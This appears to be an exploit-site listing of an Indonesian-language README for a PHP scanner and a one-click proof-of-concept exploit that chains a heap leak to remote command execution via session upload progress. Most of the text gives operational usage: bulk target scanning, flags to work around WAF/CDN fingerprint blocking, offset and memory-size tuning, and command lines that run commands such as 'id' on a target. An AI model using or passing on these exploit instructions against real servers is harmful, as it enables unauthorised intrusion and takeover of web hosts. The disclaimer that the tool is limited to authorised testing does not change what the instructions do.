Back Sploitus Exploit for Improperly Controlled Sequential Memory Allocation in Php
| `pocphp2shell.py` | One-click exploit (Proof of Concept) | eksploitasi penuh (heap leak + RCE) |
> Alat ini hanya boleh digunakan pada sistem yang Anda **miliki sendiri** atau
> yang Anda punya **izin tertulis eksplisit** untuk diuji. Penggunaan tanpa izin
> terhadap sistem orang lain adalah tindakan ilegal. Penulis tidak bertanggung
1. [Ringkasan Kerentanan](#ringkasan-kerentanan)
2. [Struktur Repositori](#struktur-repositori)
6. [Pemindai `php2shell.py`](#pemindai-php2shellpy)
7. [PoC `pocphp2shell.py`](#poc-pocphp2shellpy)
11. [Target di Belakang WAF / CDN](#target-di-belakang-waf--cdn)
14. [Pemecahan Masalah](#pemecahan-masalah)
15. [Etika dan Lisensi](#etika-dan-lisensi)
| CVE-2026-109618 | CVSS 9.2 - OOM -> `longjmp()` meninggalkan state Zend yang tidak valid -> RCE |
| CVE-2026-109619 | CVSS 9.2 - State global basi lintas worker FPM -> Use-After-Free -> RCE |
| Permukaan serangan | `session.upload_progress` (upload progres sesi PHP) |
| SAPI terdampak | `mod_php`, `php-fpm`, `cgi` |
| Versi rentan | PHP 5.4.0 - 8.5.11 (sekitar 14 tahun kode rentan) |
| Versi sudah ditambal | 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 dan seterusnya |
| Cabang EOL (tanpa patch resmi) | 5.4 / 5.5 / 5.6 / 7.0 / 7.1 / 7.2 / 7.3 / 7.4 / 8.0 / 8.1 |
- `GHSA-w8hw-w9fx-j79w` (CVE-2026-109618)
- `GHSA-6wmf-4rv5-p3rp` (CVE-2026-109619)
|-- php2shell.py # Pemindai + mode eksploitasi ringan
|-- pocphp2shell.py # PoC eksploitasi penuh (heap leak + RCE)
| `-- offsets.py # Helper opsional: baca simbol libphp dari container
|-- out/ # Hasil runtime (proof file, offsets.env)
| |-- p1 # Contoh proof file (keluaran perintah)
| `-- offsets.env # Offset simbol terdeteksi (dibuat otomatis)
Catatan: direktori `out/` dan berkas `offsets.env` dibuat saat runtime dan tidak
disertakan ke dalam repositori (lihat `.gitignore`).
- Python 3.8 atau lebih baru (disarankan 3.9+)
- Hanya pustaka standar Python - **tanpa dependensi eksternal**
- Tidak ada `pip install` yang diperlukan
git clone
Tidak ada langkah build atau instalasi berkas. Jalankan langsung dengan `python`.
# 1. Periksa satu target (aman, hanya GET)
python php2shell.py check -u
# 2. Periksa banyak target dari berkas dan simpan ke JSONL
python php2shell.py check -l targets.txt --output hasil.jsonl
# 3. Uji trigger eksploitasi pada target terkontrol (POST multipart)
python php2shell.py exploit -u
python pocphp2shell.py -u -c "id>/out/p1"
# 5. Jalankan unit test bawaan (tanpa jaringan)
Hanya mengirim permintaan **GET** untuk fingerprint target. Tidak ada permintaan
yang mengubah state. Aman dijalankan terhadap sistem produksi (dengan izin).
python php2shell.py check -u
python php2shell.py check -l targets.txt --workers 10 --timeout 20
python php2shell.py check -u --json
python php2shell.py check -u --output hasil.jsonl
Mengirim permintaan **POST multipart** yang mengandung
`PHP_SESSION_UPLOAD_PROGRESS` untuk menguji apakah trigger aktif. Gunakan hanya
python php2shell.py exploit -u
python php2shell.py exploit -u \
--call-address --cmd id
Menjalankan seluruh unit test bawaan dan keluar dengan kode status sesuai hasil.
| `-u, --url URL` | Satu URL target | wajib (salah satu) |
| `-l, --list FILE` | Berkas berisi satu URL per baris (`#` diabaikan) | wajib (salah satu) |
| `-q, --quiet` | Keluaran minimal, satu baris per target | nonaktif |
| `--json` | Keluaran setiap hasil sebagai baris JSON (JSONL) | nonaktif |
| `--workers N` | Jumlah worker konkuren | `5` |
| `--timeout DETIK` | Batas waktu permintaan | `15` |
| `--no-color` | Nonaktifkan warna ANSI | nonaktif |
| `--output FILE` | Simpan hasil ke berkas JSONL | - |
| `--assume VERSI` | Paksa versi PHP bila fingerprint diblokir WAF (mis. `7.4.33`) | - |
| `--deep-body` | Coba fingerprint versi dari badan respons / jalur phpinfo() umum | nonaktif |
| `--cmd PERINTAH` | Perintah untuk pengujian Chain A. Memerlukan `--call-address` |
| `--call-address URL` | URL spesifik tempat mengirim trigger POST (menimpa penemuan otomatis) |
1. **Header respons** - `X-Powered-By`, `Server`, `Via`, `X-Generator`
2. **Badan respons HTML** - halaman phpinfo (`PHP Version x.y.z`), meta generator,
3. **Jalur phpinfo umum** (bila `--deep-body`) - `/phpinfo.php`, `/info.php`,
4. **Paksa versi** (`--assume`) - hanya dipakai bila deteksi otomatis gagal, dan
Deteksi SAPI (`mod_php`, `fpm`, `cgi`) dilakukan secara heuristik dari header.
PoC eksploitasi satu-klik yang menjalankan rantai penuh: pemetaan heap,
kebocoran alamat `libphp`, lalu pemanggilan `zif_system`.
python pocphp2shell.py -u
python pocphp2shell.py -u -c "id>/out/p1" --proof-file out/p1
# Ambil bukti lewat HTTP bila berkas tidak dapat dibaca langsung
python pocphp2shell.py -u --fetch /out/p1
# Kalibrasi otomatis ukuran OOM (escalate sampai stage-1 berhasil)
python pocphp2shell.py -u --huge-mb 0
# Mode paralel (butuh --huge-mb tetap hasil kalibrasi serial)
python pocphp2shell.py -u --huge-mb 64 --threads 2
| `-c, --cmd PERINTAH` | Perintah (`/out/p1` |
| `--proof-file FILE` | Berkas tempat bukti keluaran perintah dibaca | `out/p1` |
| `--fetch PATH` | Ambil bukti lewat HTTP bila berkas tidak terbaca | - |
| `--profile {lab,bookworm}` | Profil offset build target | `bookworm` |
| `--zif-offset OFFSET` | Offset simbol `zif_system` (basis 0) | per profil |
| `--dtor-offset OFFSET` | Offset destruktor | per profil |
| `--htdata-offset OFFSET` | Offset HTDATA (basis 0) | per profil |
| `--offsets-file FILE` | Berkas offset yang dimuat | `out/offsets.env` |
| `--no-auto-offsets` | Jangan baca simbol `libphp` otomatis | nonaktif |
| `--docker-container NAMA` | Nama container untuk pembacaan offset | `php2shell-target` |
| `--huge-mb MB` | Ukuran field OOM; `0` = naik bertahap otomatis | `12` |
| `--no-auto-huge` | Jangan naikkan `--huge-mb` saat stage-1 gagal | nonaktif |
| `--save-path PATH` | `session.save_path` target (perintah panjang butuh path = 2` menjalankan stage 1 & 2 bersamaan | `1` |
| `--no-pre-rotate` | Lewati rotasi worker awal | nonaktif |
| `--no-retry-rotate` | Jangan rotasi worker saat gagal | nonaktif |
| `-q, --quiet` | Keluaran minimal | nonaktif |
| `--no-banner` | Sembunyikan banner ASCII art (untuk keluaran yang di-parse) | nonaktif |
Offset bersifat spesifik terhadap build. Untuk build selain profil bawaan,
sediakan berkas `out/offsets.env` atau gunakan `--docker-container` agar helper
`docker/offsets.py` membaca simbol dari container target.
Mode `--json` dan `--output` menghasilkan JSONL (satu objek JSON per baris) dengan
"timestamp": "2026-10-26T13:00:00+00:00",
"evidence": ["X-Powered-By: PHP/7.4.33", "PHP-FPM terdeteksi"],
| `timestamp` | Waktu pemindaian (UTC, ISO 8601) |
| `verdict` | Verdict dalam bahasa Indonesia |
| `verdict_en` | Verdict dalam bahasa Inggris |
| `php_version` | Versi PHP terdeteksi/diasumsikan |
| `sapi` | `mod_php`, `fpm`, `cgi`, `apache_unknown`, atau `null` |
| `version_source` | `header`, `body`, atau `assume` |
| `waf_detected` | Ada indikator WAF/CDN |
| `upload_trigger_accepted` | Trigger POST diterima (mode `exploit`) |
| `chains_at_risk` | Daftar chain serangan yang berpotensi berlaku |
| `evidence` | Daftar bukti yang dikumpulkan |
| `http_status` | Kode status HTTP terakhir |
| `response_time_ms` | Waktu respons (milidetik) |
| `kemungkinan rentan` | `likely vulnerable` | Versi PHP rentan terdeteksi |
| `sudah ditambal` | `patched` | Versi PHP sudah mengandung perbaikan |
| `siap dieksploitasi` | `exploit-ready` | Trigger diterima dan versi rentan |
| `tidak dapat disimpulkan` | `inconclusive` | Versi tidak dapat ditentukan (mis. disembunyikan WAF) |
`assess_chains()` memperkirakan chain yang berlaku berdasarkan SAPI dan versi.
Bila versi sudah ditambal, daftar kembali kosong.
| `A` | Injeksi sesi + LFI (session file inclusion) | Semua SAPI |
| `B` | Injeksi via upload progres sesi | Semua SAPI |
| `C` | Handler mismatch / konfigurasi FPM | `fpm`, tidak diketahui |
| `D` | RCE zero-dependency via OOM (mod_php) | `mod_php`, `apache_unknown`, tidak diketahui |
| `E` | State global basi lintas worker (UAF) | `fpm`, tidak diketahui |
WAF/CDN seperti Cloudflare sering menghapus header `X-Powered-By`, sehingga
fingerprint versi gagal dan verdict menjadi `tidak dapat disimpulkan`. Ini
perilaku **yang benar**, bukan bug - alat tidak dapat menyimpulkan apa yang
# Coba fingerprint versi dari badan respons & jalur phpinfo umum (tetap GET, aman)
python php2shell.py check -u --deep-body
# Paksa versi bila deteksi otomatis gagal (ditandai sebagai asumsi)
python php2shell.py check -u --assume 7.4.33
# Kombinasi: deteksi otomatis tetap diprioritaskan sebelum asumsi dipakai
python php2shell.py check -u --deep-body --assume 7.4.33
- `--deep-body` dan `--assume` mengisi celah informasi yang disembunyikan WAF,
tetapi hasilnya jujur ditandai (`version_source` = `body` atau `assume`).
- Untuk pengujian akurat pada mesin PHP lokal (mis. 7.4.33), arahkan langsung ke
origin-nya: IP asli tanpa CDN, atau `
- `--assume` hanya dipakai bila header **dan** badan tidak membocorkan versi.
| `0` | Selesai, tidak ada target rentan |
| `1` | Ada target dengan verdict rentan / siap dieksploitasi |
| `2` | Galat penggunaan / berkas tidak dapat dibaca |
| `130` | Dibatalkan oleh pengguna (Ctrl+C) |
| `0` | Eksploitasi berhasil (bukti diperoleh) |
| `1` | Eksploitasi gagal (tidak ada bukti) |
| `130` | Dibatalkan oleh pengguna (Ctrl+C) |
Suite unit test terintegrasi mencakup parsing versi, fingerprint badan respons,
validasi `--assume`, logika kerentanan, deteksi SAPI, deteksi WAF, logika verdict,
penilaian chain, encoding multipart, normalisasi target, keluaran JSONL, deteksi
cookie sesi, internal CLI, warna lintas platform, banner ASCII, dan stream UTF-8.
**Verdict `tidak dapat disimpulkan` pada target yang seharusnya rentan.**
Kemungkinan besar target berada di belakang WAF/CDN yang menghapus
`X-Powered-By`. Gunakan `--deep-body` dan/atau `--assume`. Lihat
[Target di Belakang WAF / CDN](#target-di-belakang-waf--cdn).
**Perintah panjang pada PoC tidak tereksekusi.**
Perintah `> 14` byte dikirim lewat berkas sesi dan memerlukan
`session.save_path` pendek (maksimal 4 karakter, mis. `/tmp`). Perintah panjang
juga tidak boleh memuat `|` atau baris baru; gunakan `;` sebagai pemisah.
Tersedia fallback verifikasi singkat (`id>/out/p1`).
Ukuran field OOM berada di luar rentang yang valid. Gunakan `--huge-mb 0` untuk
kalibrasi otomatis (butuh `memory_limit = 2` menolak berjalan.**
Mode paralel memerlukan `--huge-mb` tetap. Kalibrasi terlebih dahulu secara
serial dengan `--huge-mb 0`, lalu jalankan ulang dengan nilai yang berhasil.
**Karakter aneh pada keluaran di Windows / lokasi non-UTF-8.**
Kedua alat memaksa stdout/stderr ke UTF-8 dan banner memakai ASCII murni,
sehingga aman di semua terminal dan saat keluaran dialihkan ke berkas.
Gunakan `--json` pada pemindai, dan `--no-banner` pada PoC.
- Gunakan hanya pada sistem yang Anda miliki atau yang Anda punya izin
- Alat ini dibuat untuk riset keamanan, verifikasi patch, dan pengujian defensif.
- Penulis tidak bertanggung jawab atas kerusakan atau penyalahgunaan.
- Github: [github.com/gagaltotal](
- `GHSA-w8hw-w9fx-j79w` - CVE-2026-109618
- `GHSA-6wmf-4rv5-p3rp` - CVE-2026-109619
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
